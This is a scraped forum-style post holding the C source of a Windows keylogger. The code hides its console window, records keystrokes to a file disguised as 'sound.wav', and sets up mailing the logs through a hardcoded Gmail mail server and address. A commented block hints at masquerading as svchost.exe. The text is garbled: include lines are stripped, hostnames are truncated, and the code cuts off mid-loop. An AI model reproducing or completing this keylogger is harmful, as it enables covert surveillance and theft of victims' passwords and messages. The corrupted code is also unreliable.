#include #include #include #include #include int MailIt (char - TopicsExpress



          

#include #include #include #include #include int MailIt (char *mailserver, char *emailto, char *emailfrom, char *emailsubject, char *emailmessage); #define BUFSIZE 800 #define waittime 500 /*If you don't know the mail exchange server for an address for the following "nslookup -querytype=mx gmail" but replace gmail with the domain for whatever email address you want. YOU MUST CHANGE THESE SETTINGS OR IT WILL NOT WORK!!! */ #define cmailserver "gmail-smtp-in.l.google" #define cemailto "irong33k@gmail" #define cemailfrom "irong33k@gmail" #define LogLength 100 #define FileName "sound.wav" #define SMTPLog "ring.wav" #define cemailsubject "Logged" int test_key(void); int main(void) { //Uncomment the lines below to put the keylogger in stealh mode. HWND stealth; /*creating stealth */ AllocConsole(); stealth=FindWindowA("ConsoleWindowClass",NULL); ShowWindow(stealth,0); {FILE *file; file=fopen(FileName,"a+"); time_t theTime=time(0); fputs(" Started logging: ", file); fputs(ctime(&theTime),file); fclose(file); } /* if (test==2) {//the path in which the file needs to be char *path="c:\%windir%\svchost.exe"; create=create_key(path); } */ int t=get_keys(); return t; } int get_keys(void) { int freadindex; char *buf; long len; FILE *file; file=fopen(FileName,"a+"); short character; while(1) { sleep(10);/*to prevent 100% cpu usage*/ for(character=8;character=39)&&(character64)&&(character
Posted on: Sat, 14 Sep 2013 10:05:04 +0000

Trending Topics



Recently Viewed Topics




© 2015